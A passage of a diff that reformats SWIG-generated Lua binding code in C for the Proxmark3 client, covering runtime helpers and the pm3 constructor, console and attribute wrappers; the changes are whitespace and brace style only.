*/ - lua_pushstring(L,clss->fqname); /* get the name */ - assert(clss->metatable); - lua_pushrotable(L, (void*)(clss->metatable)); /* create the metatable */ - lua_rawset(L,-3); - lua_pop(L,1); - assert(lua_gettop(L) == begin); +SWIGINTERN void SWIG_Lua_elua_class_register_instance(lua_State *L, swig_lua_class *clss) { + const int SWIGUNUSED begin = lua_gettop(L); + int i; + /* if name already there (class is already registered) then do nothing */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L, clss->fqname); /* get the name */ + lua_rawget(L, -2); + if (!lua_isnil(L, -1)) { + lua_pop(L, 2); + assert(lua_gettop(L) == begin); + return; + } + lua_pop(L, 2); /* tidy stack */ + /* Recursively initialize all bases */ + for (i = 0; clss->bases[i]; i++) { + SWIG_Lua_elua_class_register_instance(L, clss->bases[i]); + } + /* Again, get registry and push name */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L, clss->fqname); /* get the name */ + assert(clss->metatable); + lua_pushrotable(L, (void *)(clss->metatable)); /* create the metatable */ + lua_rawset(L, -3); + lua_pop(L, 1); + assert(lua_gettop(L) == begin); } #endif /* elua && eluac */ @@ -2502,147 +2440,124 @@ SWIGINTERN void SWIG_Lua_elua_class_register_instance(lua_State *L, swig_lua_cla * ----------------------------------------------------------------------------- */ /* helper to add metatable to new lua object */ -SWIGINTERN void SWIG_Lua_AddMetatable(lua_State *L,swig_type_info *type) -{ - if (type->clientdata) /* there is clientdata: so add the metatable */ - { - SWIG_Lua_get_class_metatable(L,((swig_lua_class*)(type->clientdata))->fqname); - if (lua_istable(L,-1)) - { - lua_setmetatable(L,-2); +SWIGINTERN void SWIG_Lua_AddMetatable(lua_State *L, swig_type_info *type) { + if (type->clientdata) { /* there is clientdata: so add the metatable */ + SWIG_Lua_get_class_metatable(L, ((swig_lua_class *)(type->clientdata))->fqname); + if (lua_istable(L, -1)) { + lua_setmetatable(L, -2); + } else { + lua_pop(L, 1); + } } - else - { - lua_pop(L,1); - } - } } /* pushes a new object into the lua stack */ -SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L,void *ptr,swig_type_info *type, int own) -{ - swig_lua_userdata *usr; - if (!ptr){ - lua_pushnil(L); - return; - } - usr=(swig_lua_userdata*)lua_newuserdata(L,sizeof(swig_lua_userdata)); /* get data */ - usr->ptr=ptr; /* set the ptr */ - usr->type=type; - usr->own=own; +SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L, void *ptr, swig_type_info *type, int own) { + swig_lua_userdata *usr; + if (!ptr) { + lua_pushnil(L); + return; + } + usr = (swig_lua_userdata *)lua_newuserdata(L, sizeof(swig_lua_userdata)); /* get data */ + usr->ptr = ptr; /* set the ptr */ + usr->type = type; + usr->own = own; #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) - SWIG_Lua_AddMetatable(L,type); /* add metatable */ + SWIG_Lua_AddMetatable(L, type); /* add metatable */ #endif } /* takes a object from the lua stack & converts it into an object of the correct type (if possible) */ -SWIGRUNTIME int SWIG_Lua_ConvertPtr(lua_State *L,int index,void **ptr,swig_type_info *type,int flags) -{ - int ret = SWIG_ERROR; - swig_lua_userdata *usr; - swig_cast_info *cast; - /* special case: lua nil => NULL pointer */ - if (lua_isnil(L,index)) - { - *ptr=0; - return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; - } - if (lua_islightuserdata(L,index)) - { - *ptr=lua_touserdata(L,index); - return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; - } - usr=(swig_lua_userdata*)lua_touserdata(L,index); /* get data */ - if (usr) - { - if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !usr->own) - { - return SWIG_ERROR_RELEASE_NOT_OWNED; +SWIGRUNTIME int SWIG_Lua_ConvertPtr(lua_State *L, int index, void **ptr, swig_type_info *type, int flags) { + int ret = SWIG_ERROR; + swig_lua_userdata *usr; + swig_cast_info *cast; + /* special case: lua nil => NULL pointer */ + if (lua_isnil(L, index)) { + *ptr = 0; + return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; } - if (flags & SWIG_POINTER_DISOWN) /* must disown the object */ - { - usr->own = 0; + if (lua_islightuserdata(L, index)) { + *ptr = lua_touserdata(L, index); + return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; } - if (!type) /* special cast void*, no casting fn */ - { - *ptr=usr->ptr; - ret = SWIG_OK; + usr = (swig_lua_userdata *)lua_touserdata(L, index); /* get data */ + if (usr) { + if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !usr->own) { + return SWIG_ERROR_RELEASE_NOT_OWNED; + } + if (flags & SWIG_POINTER_DISOWN) { /* must disown the object */ + usr->own = 0; + } + if (!type) { /* special cast void*, no casting fn */ + *ptr = usr->ptr; + ret = SWIG_OK; + } else { + cast = SWIG_TypeCheck(usr->type->name, type); /* performs normal type checking */ + if (cast) { + int newmemory = 0; + *ptr = SWIG_TypeCast(cast, usr->ptr, &newmemory); + assert(!newmemory); /* newmemory handling not yet implemented */ + ret = SWIG_OK; + } + } + if ((ret == SWIG_OK) && (flags & SWIG_POINTER_CLEAR)) { + usr->ptr = 0; + } } - else - { - cast=SWIG_TypeCheck(usr->type->name,type); /* performs normal type checking */ - if (cast) - { - int newmemory = 0; - *ptr=SWIG_TypeCast(cast,usr->ptr,&newmemory); - assert(!newmemory); /* newmemory handling not yet implemented */ - ret = SWIG_OK; - } - } - if ((ret == SWIG_OK) && (flags & SWIG_POINTER_CLEAR)) - { - usr->ptr = 0; - } - } - return ret; + return ret; } -SWIGRUNTIME void* SWIG_Lua_MustGetPtr(lua_State *L,int index,swig_type_info *type,int flags, - int argnum,const char *func_name){ - void *result = 0; - if (!SWIG_IsOK(SWIG_ConvertPtr(L,index,&result,type,flags))){ - luaL_error (L,"Error in %s, expected a %s at argument number %d\n", - func_name,(type && type->str)?type->str:"void*",argnum); - } - return result; +SWIGRUNTIME void *SWIG_Lua_MustGetPtr(lua_State *L, int index, swig_type_info *type, int flags, + int argnum, const char *func_name) { + void *result = 0; + if (!SWIG_IsOK(SWIG_ConvertPtr(L, index, &result, type, flags))) { + luaL_error(L, "Error in %s, expected a %s at argument number %d\n", + func_name, (type && type->str) ? type->str : "void*", argnum); + } + return result; } /* pushes a packed userdata. user for member fn pointers only */ -SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L,void *ptr,size_t size,swig_type_info *type) -{ - swig_lua_rawdata *raw; - assert(ptr); /* not acceptable to pass in a NULL value */ - raw=(swig_lua_rawdata*)lua_newuserdata(L,sizeof(swig_lua_rawdata)-1+size); /* alloc data */ - raw->type=type; - raw->own=0; - memcpy(raw->data,ptr,size); /* copy the data */ - SWIG_Lua_AddMetatable(L,type); /* add metatable */ +SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L, void *ptr, size_t size, swig_type_info *type) { + swig_lua_rawdata *raw; + assert(ptr); /* not acceptable to pass in a NULL value */ + raw = (swig_lua_rawdata *)lua_newuserdata(L, sizeof(swig_lua_rawdata) - 1 + size); /* alloc data */ + raw->type = type; + raw->own = 0; + memcpy(raw->data, ptr, size); /* copy the data */ + SWIG_Lua_AddMetatable(L, type); /* add metatable */ } /* converts a packed userdata. user for member fn pointers only */ -SWIGRUNTIME int SWIG_Lua_ConvertPacked(lua_State *L,int index,void *ptr,size_t size,swig_type_info *type) -{ - swig_lua_rawdata *raw; - raw=(swig_lua_rawdata*)lua_touserdata(L,index); /* get data */ - if (!raw) return SWIG_ERROR; /* error */ - if (type==0 || type==raw->type) /* void* or identical type */ - { - memcpy(ptr,raw->data,size); /* copy it */ - return SWIG_OK; /* ok */ - } - return SWIG_ERROR; /* error */ +SWIGRUNTIME int SWIG_Lua_ConvertPacked(lua_State *L, int index, void *ptr, size_t size, swig_type_info *type) { + swig_lua_rawdata *raw; + raw = (swig_lua_rawdata *)lua_touserdata(L, index); /* get data */ + if (!raw) return SWIG_ERROR; /* error */ + if (type == 0 || type == raw->type) { /* void* or identical type */ + memcpy(ptr, raw->data, size); /* copy it */ + return SWIG_OK; /* ok */ + } + return SWIG_ERROR; /* error */ } /* a function to get the typestring of a piece of data */ -SWIGRUNTIME const char *SWIG_Lua_typename(lua_State *L, int tp) -{ - swig_lua_userdata *usr; - if (lua_isuserdata(L,tp)) - { - usr=(swig_lua_userdata*)lua_touserdata(L,tp); /* get data */ - if (usr && usr->type && usr->type->str) - return usr->type->str; - return "userdata (unknown type)"; - } - return lua_typename(L,lua_type(L,tp)); +SWIGRUNTIME const char *SWIG_Lua_typename(lua_State *L, int tp) { + swig_lua_userdata *usr; + if (lua_isuserdata(L, tp)) { + usr = (swig_lua_userdata *)lua_touserdata(L, tp); /* get data */ + if (usr && usr->type && usr->type->str) + return usr->type->str; + return "userdata (unknown type)"; + } + return lua_typename(L, lua_type(L, tp)); } /* lua callable function to get the userdata's type */ -SWIGRUNTIME int SWIG_Lua_type(lua_State *L) -{ - lua_pushstring(L,SWIG_Lua_typename(L,1)); - return 1; +SWIGRUNTIME int SWIG_Lua_type(lua_State *L) { + lua_pushstring(L, SWIG_Lua_typename(L, 1)); + return 1; } /* ----------------------------------------------------------------------------- @@ -2653,46 +2568,46 @@ SWIGRUNTIME int SWIG_Lua_type(lua_State *L) /* Install Constants */ SWIGINTERN void SWIG_Lua_InstallConstants(lua_State *L, swig_lua_const_info constants[]) { - int i; - for (i = 0; constants[i].type; i++) { - switch(constants[i].type) { - case SWIG_LUA_INT: - lua_pushstring(L,constants[i].name); - lua_pushinteger(L,(lua_Integer)constants[i].lvalue); - lua_rawset(L,-3); - break; - case SWIG_LUA_FLOAT: - lua_pushstring(L,constants[i].name); - lua_pushnumber(L,(lua_Number)constants[i].dvalue); - lua_rawset(L,-3); - break; - case SWIG_LUA_CHAR: - lua_pushstring(L,constants[i].name); - { - char c = (char)constants[i].lvalue; - lua_pushlstring(L,&c,1); - } - lua_rawset(L,-3); - break; - case SWIG_LUA_STRING: - lua_pushstring(L,constants[i].name); - lua_pushstring(L,(char *) constants[i].pvalue); - lua_rawset(L,-3); - break; - case SWIG_LUA_POINTER: - lua_pushstring(L,constants[i].name); - SWIG_NewPointerObj(L,constants[i].pvalue, *(constants[i]).ptype,0); - lua_rawset(L,-3); - break; - case SWIG_LUA_BINARY: - lua_pushstring(L,constants[i].name); - SWIG_NewMemberObj(L,constants[i].pvalue,constants[i].lvalue,*(constants[i]).ptype); - lua_rawset(L,-3); - break; - default: - break; + int i; + for (i = 0; constants[i].type; i++) { + switch (constants[i].type) { + case SWIG_LUA_INT: + lua_pushstring(L, constants[i].name); + lua_pushinteger(L, (lua_Integer)constants[i].lvalue); + lua_rawset(L, -3); + break; + case SWIG_LUA_FLOAT: + lua_pushstring(L, constants[i].name); + lua_pushnumber(L, (lua_Number)constants[i].dvalue); + lua_rawset(L, -3); + break; + case SWIG_LUA_CHAR: + lua_pushstring(L, constants[i].name); + { + char c = (char)constants[i].lvalue; + lua_pushlstring(L, &c, 1); + } + lua_rawset(L, -3); + break; + case SWIG_LUA_STRING: + lua_pushstring(L, constants[i].name); + lua_pushstring(L, (char *) constants[i].pvalue); + lua_rawset(L, -3); + break; + case SWIG_LUA_POINTER: + lua_pushstring(L, constants[i].name); + SWIG_NewPointerObj(L, constants[i].pvalue, *(constants[i]).ptype, 0); + lua_rawset(L, -3); + break; + case SWIG_LUA_BINARY: + lua_pushstring(L, constants[i].name); + SWIG_NewMemberObj(L, constants[i].pvalue, constants[i].lvalue, *(constants[i]).ptype); + lua_rawset(L, -3); + break; + default: + break; + } } - } } #endif @@ -2710,19 +2625,19 @@ In lua 5.1.X it's luaL_dostring() */ SWIGINTERN int SWIG_Lua_dostring(lua_State *L, const char *str) { - int ok,top; - if (str==0 || str[0]==0) return 0; /* nothing to do */ - top=lua_gettop(L); /* save stack */ + int ok, top; + if (str == 0 || str[0] == 0) return 0; /* nothing to do */ + top = lua_gettop(L); /* save stack */ #if (defined(LUA_VERSION_NUM) && (LUA_VERSION_NUM>=501)) - ok=luaL_dostring(L,str); /* looks like this is lua 5.1.X or later, good */ + ok = luaL_dostring(L, str); /* looks like this is lua 5.1.X or later, good */ #else - ok=lua_dostring(L,str); /* might be lua 5.0.x, using lua_dostring */ + ok = lua_dostring(L, str); /* might be lua 5.0.x, using lua_dostring */ #endif - if (ok!=0) { - SWIG_DOSTRING_FAIL(lua_tostring(L,-1)); - } - lua_settop(L,top); /* restore the stack */ - return ok; + if (ok != 0) { + SWIG_DOSTRING_FAIL(lua_tostring(L, -1)); + } + lua_settop(L, top); /* restore the stack */ + return ok; } #ifdef __cplusplus @@ -2752,212 +2667,223 @@ static swig_module_info swig_module = {swig_types, 1, 0, 0, 0, 0}; #include "pm3.h" #include "comms.h" -SWIGINTERN pm3 *new_pm3__SWIG_0(void){ +SWIGINTERN pm3 *new_pm3__SWIG_0(void) { // printf("SWIG pm3 constructor, get current pm3\n"); - pm3_device_t * p = pm3_get_current_dev(); - p->script_embedded = 1; - return p; - } - -SWIGINTERN int SWIG_lua_isnilstring(lua_State *L, int idx) { - int ret = lua_isstring(L, idx); - if (!ret) - ret = lua_isnil(L, idx); - return ret; + pm3_device_t *p = pm3_get_current_dev(); + p->script_embedded = 1; + return p; } -SWIGINTERN pm3 *new_pm3__SWIG_1(char *port){ +SWIGINTERN int SWIG_lua_isnilstring(lua_State *L, int idx) { + int ret = lua_isstring(L, idx); + if (!ret) + ret = lua_isnil(L, idx); + return ret; +} + +SWIGINTERN pm3 *new_pm3__SWIG_1(char *port) { // printf("SWIG pm3 constructor with port, open pm3\n"); - pm3_device_t * p = pm3_open(port); - p->script_embedded = 0; - return p; - } -SWIGINTERN void delete_pm3(pm3 *self){ - if (self->script_embedded) { + pm3_device_t *p = pm3_open(port); + p->script_embedded = 0; + return p; +} +SWIGINTERN void delete_pm3(pm3 *self) { + if (self->script_embedded) { // printf("SWIG pm3 destructor, nothing to do\n"); - } else { + } else { // printf("SWIG pm3 destructor, close pm3\n"); - pm3_close(self); - } - } + pm3_close(self); + } +} #ifdef __cplusplus extern "C" { #endif -static int _wrap_new_pm3__SWIG_0(lua_State* L) { - int SWIG_arg = 0; - pm3 *result = 0 ; - - SWIG_check_num_args("pm3::pm3",0,0) - result = (pm3 *)new_pm3__SWIG_0(); - SWIG_NewPointerObj(L,result,SWIGTYPE_p_pm3,1); SWIG_arg++; - return SWIG_arg; - - fail: SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_new_pm3__SWIG_0(lua_State *L) { + int SWIG_arg = 0; + pm3 *result = 0 ; + + SWIG_check_num_args("pm3::pm3", 0, 0) + result = (pm3 *)new_pm3__SWIG_0(); + SWIG_NewPointerObj(L, result, SWIGTYPE_p_pm3, 1); + SWIG_arg++; + return SWIG_arg; + +fail: + SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_new_pm3__SWIG_1(lua_State* L) { - int SWIG_arg = 0; - char *arg1 = (char *) 0 ; - pm3 *result = 0 ; - - SWIG_check_num_args("pm3::pm3",1,1) - if(!SWIG_lua_isnilstring(L,1)) SWIG_fail_arg("pm3::pm3",1,"char *"); - arg1 = (char *)lua_tostring(L, 1); - result = (pm3 *)new_pm3__SWIG_1(arg1); - SWIG_NewPointerObj(L,result,SWIGTYPE_p_pm3,1); SWIG_arg++; - return SWIG_arg; - - fail: SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_new_pm3__SWIG_1(lua_State *L) { + int SWIG_arg = 0; + char *arg1 = (char *) 0 ; + pm3 *result = 0 ; + + SWIG_check_num_args("pm3::pm3", 1, 1) + if (!SWIG_lua_isnilstring(L, 1)) SWIG_fail_arg("pm3::pm3", 1, "char *"); + arg1 = (char *)lua_tostring(L, 1); + result = (pm3 *)new_pm3__SWIG_1(arg1); + SWIG_NewPointerObj(L, result, SWIGTYPE_p_pm3, 1); + SWIG_arg++; + return SWIG_arg; + +fail: + SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_new_pm3(lua_State* L) { - int argc; - int argv[2]={ - 1,2 - }; - - argc = lua_gettop(L); - if (argc == 0) { - return _wrap_new_pm3__SWIG_0(L); - } - if (argc == 1) { - int _v = 0; - { - _v = SWIG_lua_isnilstring(L,argv[0]); +static int _wrap_new_pm3(lua_State *L) { + int argc; + int argv[2] = { + 1, 2 + }; + + argc = lua_gettop(L); + if (argc == 0) { + return _wrap_new_pm3__SWIG_0(L); } - if (_v) { - return _wrap_new_pm3__SWIG_1(L); + if (argc == 1) { + int _v = 0; + { + _v = SWIG_lua_isnilstring(L, argv[0]); + } + if (_v) { + return _wrap_new_pm3__SWIG_1(L); + } } - } - - SWIG_Lua_pusherrstring(L,"Wrong arguments for overloaded function 'new_pm3'\n" - " Possible C/C++ prototypes are:\n" - " pm3::pm3()\n" - " pm3::pm3(char *)\n"); - lua_error(L);return 0; + + SWIG_Lua_pusherrstring(L, "Wrong arguments for overloaded function 'new_pm3'\n" + " Possible C/C++ prototypes are:\n" + " pm3::pm3()\n" + " pm3::pm3(char *)\n"); + lua_error(L); + return 0; } -static int _wrap_pm3_console(lua_State* L) { - int SWIG_arg = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *arg2 = (char *) 0 ; - bool arg3 = (bool) true ; - bool arg4 = (bool) true ; - int result; - - SWIG_check_num_args("pm3::console",2,4) - if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("pm3::console",1,"pm3 *"); - if(!SWIG_lua_isnilstring(L,2)) SWIG_fail_arg("pm3::console",2,"char *"); - if(lua_gettop(L)>=3 && !lua_isboolean(L,3)) SWIG_fail_arg("pm3::console",3,"bool"); - if(lua_gettop(L)>=4 && !lua_isboolean(L,4)) SWIG_fail_arg("pm3::console",4,"bool"); - - if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_pm3,0))){ - SWIG_fail_ptr("pm3_console",1,SWIGTYPE_p_pm3); - } - - arg2 = (char *)lua_tostring(L, 2); - if(lua_gettop(L)>=3){ - arg3 = (lua_toboolean(L, 3)!=0); - } - if(lua_gettop(L)>=4){ - arg4 = (lua_toboolean(L, 4)!=0); - } - result = (int)pm3_console(arg1,arg2,arg3,arg4); - lua_pushnumber(L, (lua_Number) result); SWIG_arg++; - return SWIG_arg; - - fail: SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_pm3_console(lua_State *L) { + int SWIG_arg = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *arg2 = (char *) 0 ; + bool arg3 = (bool) true ; + bool arg4 = (bool) true ; + int result; + + SWIG_check_num_args("pm3::console", 2, 4) + if (!SWIG_isptrtype(L, 1)) SWIG_fail_arg("pm3::console", 1, "pm3 *"); + if (!SWIG_lua_isnilstring(L, 2)) SWIG_fail_arg("pm3::console", 2, "char *"); + if (lua_gettop(L) >= 3 && !lua_isboolean(L, 3)) SWIG_fail_arg("pm3::console", 3, "bool"); + if (lua_gettop(L) >= 4 && !lua_isboolean(L, 4)) SWIG_fail_arg("pm3::console", 4, "bool"); + + if (!SWIG_IsOK(SWIG_ConvertPtr(L, 1, (void **)&arg1, SWIGTYPE_p_pm3, 0))) { + SWIG_fail_ptr("pm3_console", 1, SWIGTYPE_p_pm3); + } + + arg2 = (char *)lua_tostring(L, 2); + if (lua_gettop(L) >= 3) { + arg3 = (lua_toboolean(L, 3) != 0); + } + if (lua_gettop(L) >= 4) { + arg4 = (lua_toboolean(L, 4) != 0); + } + result = (int)pm3_console(arg1, arg2, arg3, arg4); + lua_pushnumber(L, (lua_Number) result); + SWIG_arg++; + return SWIG_arg; + +fail: + SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_pm3_name_get(lua_State* L) { - int SWIG_arg = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *result = 0 ; - - SWIG_check_num_args("pm3::name",1,1) - if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("pm3::name",1,"pm3 *"); - - if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_pm3,0))){ - SWIG_fail_ptr("pm3_name_get",1,SWIGTYPE_p_pm3); - } - - result = (char *)pm3_name_get(arg1); - lua_pushstring(L,(const char *)result); SWIG_arg++; - return SWIG_arg; - - fail: SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_pm3_name_get(lua_State *L) { + int SWIG_arg = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *result = 0 ; + + SWIG_check_num_args("pm3::name", 1, 1) + if (!SWIG_isptrtype(L, 1)) SWIG_fail_arg("pm3::name", 1, "pm3 *"); + + if (!SWIG_IsOK(SWIG_ConvertPtr(L, 1, (void **)&arg1, SWIGTYPE_p_pm3, 0))) { + SWIG_fail_ptr("pm3_name_get", 1, SWIGTYPE_p_pm3); + } + + result = (char *)pm3_name_get(arg1); + lua_pushstring(L, (const char *)result); + SWIG_arg++; + return SWIG_arg; + +fail: + SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_pm3_grabbed_output_get(lua_State* L) { - int SWIG_arg = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *result = 0 ; - - SWIG_check_num_args("pm3::grabbed_output",1,1) - if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("pm3::grabbed_output",1,"pm3 *"); - - if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_pm3,0))){ - SWIG_fail_ptr("pm3_grabbed_output_get",1,SWIGTYPE_p_pm3); - } - - result = (char *)pm3_grabbed_output_get(arg1); - lua_pushstring(L,(const char *)result); SWIG_arg++; - return SWIG_arg; - - fail: SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_pm3_grabbed_output_get(lua_State *L) { + int SWIG_arg = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *result = 0 ; + + SWIG_check_num_args("pm3::grabbed_output", 1, 1) + if (!SWIG_isptrtype(L, 1)) SWIG_fail_arg("pm3::grabbed_output", 1, "pm3 *"); + + if (!SWIG_IsOK(SWIG_ConvertPtr(L, 1, (void **)&arg1, SWIGTYPE_p_pm3, 0))) { + SWIG_fail_ptr("pm3_grabbed_output_get", 1, SWIGTYPE_p_pm3); + } + + result = (char *)pm3_grabbed_output_get(arg1); + lua_pushstring(L, (const char *)result); + SWIG_arg++; + return SWIG_arg; + +fail: + SWIGUNUSED; + lua_error(L); + return 0; } static void swig_delete_pm3(void *obj) { -pm3 *arg1 = (pm3 *) obj; -delete_pm3(arg1); + pm3 *arg1 = (pm3 *) obj; + delete_pm3(arg1); } static int _proxy__wrap_new_pm3(lua_State *L) { - assert(lua_istable(L,1)); - lua_pushcfunction(L,_wrap_new_pm3); - assert(!lua_isnil(L,-1)); - lua_replace(L,1); /* replace our table with real constructor */ - lua_call(L,lua_gettop(L)-1,1); + assert(lua_istable(L, 1)); + lua_pushcfunction(L, _wrap_new_pm3); + assert(!lua_isnil(L, -1)); + lua_replace(L, 1); /* replace our table with real constructor */ + lua_call(L, lua_gettop(L) - 1, 1); return 1; } static swig_lua_attribute swig_pm3_attributes[] = { { "name", _wrap_pm3_name_get, SWIG_Lua_set_immutable }, { "grabbed_output", _wrap_pm3_grabbed_output_get, SWIG_Lua_set_immutable }, - {0,0,0} + {0, 0, 0} }; -static swig_lua_method swig_pm3_methods[]= { +static swig_lua_method swig_pm3_methods[] = { { "console", _wrap_pm3_console}, - {0,0} + {0, 0} }; static swig_lua_method swig_pm3_meta[] = { - {0,0} + {0, 0} }; static swig_lua_attribute swig_pm3_Sf_SwigStatic_attributes[] = { - {0,0,0} + {0, 0, 0} }; -static swig_lua_const_info swig_pm3_Sf_SwigStatic_constants[]= { - {0,0,0,0,0,0} +static swig_lua_const_info swig_pm3_Sf_SwigStatic_constants[] = { + {0, 0, 0, 0, 0, 0} }; -static swig_lua_method swig_pm3_Sf_SwigStatic_methods[]= { - {0,0} +static swig_lua_method swig_pm3_Sf_SwigStatic_methods[] = { + {0, 0} }; -static swig_lua_class* swig_pm3_Sf_SwigStatic_classes[]= { +static swig_lua_class *swig_pm3_Sf_SwigStatic_classes[] = { 0 }; @@ -2971,22 +2897,22 @@ static swig_lua_namespace swig_pm3_Sf_SwigStatic = { }; static swig_lua_class *swig_pm3_bases[] = {0}; static const char *swig_pm3_base_names[] = {0}; -static swig_lua_class _wrap_class_pm3 = { "pm3", "pm3", &SWIGTYPE_p_pm3,_proxy__wrap_new_pm3, swig_delete_pm3, swig_pm3_methods, swig_pm3_attributes, &swig_pm3_Sf_SwigStatic, swig_pm3_meta, swig_pm3_bases, swig_pm3_base_names }; +static swig_lua_class _wrap_class_pm3 = { "pm3", "pm3", &SWIGTYPE_p_pm3, _proxy__wrap_new_pm3, swig_delete_pm3, swig_pm3_methods, swig_pm3_attributes, &swig_pm3_Sf_SwigStatic, swig_pm3_meta, swig_pm3_bases, swig_pm3_base_names }; static swig_lua_attribute swig_SwigModule_attributes[] = { - {0,0,0} + {0, 0, 0} }; -static swig_lua_const_info swig_SwigModule_constants[]= { - {0,0,0,0,0,0} +static swig_lua_const_info swig_SwigModule_constants[] = { + {0, 0, 0, 0, 0, 0} }; -static swig_lua_method swig_SwigModule_methods[]= { - {0,0} +static swig_lua_method swig_SwigModule_methods[] = { + {0, 0} }; -static swig_lua_class* swig_SwigModule_classes[]= { -&_wrap_class_pm3, +static swig_lua_class *swig_SwigModule_classes[] = { + &_wrap_class_pm3, 0 }; -static swig_lua_namespace* swig_SwigModule_namespaces[] = { +static swig_lua_namespace *swig_SwigModule_namespaces[] = { 0 }; @@ -3004,16 +2930,16 @@ static swig_lua_namespace swig_SwigModule = { /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */ -static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void*)&_wrap_class_pm3, 0}; +static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void *) &_wrap_class_pm3, 0}; static swig_type_info *swig_type_initial[] = { - &_swigt__p_pm3, + &_swigt__p_pm3, }; -static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0},{0, 0, 0, 0}}; +static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0}, {0, 0, 0, 0}}; static swig_cast_info *swig_cast_initial[] = { - _swigc__p_pm3, + _swigc__p_pm3, }; @@ -3077,144 +3003,144 @@ extern "C" { SWIGRUNTIME void SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { - size_t i; - swig_module_info *module_head, *iter; - int init; + size_t i; + swig_module_info *module_head, *iter; + int init; - /* check to see if the circular list has been setup, if not, set it up */ - if (swig_module.next==0) { - /* Initialize the swig_module */ - swig_module.type_initial = swig_type_initial; - swig_module.cast_initial = swig_cast_initial; - swig_module.next = &swig_module; - init = 1; - } else { - init = 0; - } - - /* Try and load any already created modules */ - module_head = SWIG_GetModule(clientdata); - if (!module_head) { - /* This is the first module loaded for this interpreter */ - /* so set the swig module into the interpreter */ - SWIG_SetModule(clientdata, &swig_module); - } else { - /* the interpreter has loaded a SWIG module, but has it loaded this one? */ - iter=module_head; - do { - if (iter==&swig_module) { - /* Our module is already in the list, so there's nothing more to do. */ - return; - } - iter=iter->next; - } while (iter!= module_head); - - /* otherwise we must add our module into the list */ - swig_module.next = module_head->next; - module_head->next = &swig_module; - } - - /* When multiple interpreters are used, a module could have already been initialized in - a different interpreter, but not yet have a pointer in this interpreter. - In this case, we do not want to continue adding types... everything should be - set up already */ - if (init == 0) return; - - /* Now work on filling in swig_module.types */ -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); -#endif - for (i = 0; i < swig_module.size; ++i) { - swig_type_info *type = 0; - swig_type_info *ret; - swig_cast_info *cast; - -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); -#endif - - /* if there is another module already loaded */ - if (swig_module.next != &swig_module) { - type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); - } - if (type) { - /* Overwrite clientdata field */ -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found type %s\n", type->name); -#endif - if (swig_module.type_initial[i]->clientdata) { - type->clientdata = swig_module.type_initial[i]->clientdata; -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); -#endif - } + /* check to see if the circular list has been setup, if not, set it up */ + if (swig_module.next == 0) { + /* Initialize the swig_module */ + swig_module.type_initial = swig_type_initial; + swig_module.cast_initial = swig_cast_initial; + swig_module.next = &swig_module; + init = 1; } else { - type = swig_module.type_initial[i]; + init = 0; } - /* Insert casting types */ - cast = swig_module.cast_initial[i]; - while (cast->type) { + /* Try and load any already created modules */ + module_head = SWIG_GetModule(clientdata); + if (!module_head) { + /* This is the first module loaded for this interpreter */ + /* so set the swig module into the interpreter */ + SWIG_SetModule(clientdata, &swig_module); + } else { + /* the interpreter has loaded a SWIG module, but has it loaded this one? */ + iter = module_head; + do { + if (iter == &swig_module) { + /* Our module is already in the list, so there's nothing more to do. */ + return; + } + iter = iter->next; + } while (iter != module_head); - /* Don't need to add information already in the list */ - ret = 0; -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); -#endif - if (swig_module.next != &swig_module) { - ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); -#ifdef SWIGRUNTIME_DEBUG - if (ret) printf("SWIG_InitializeModule: found cast 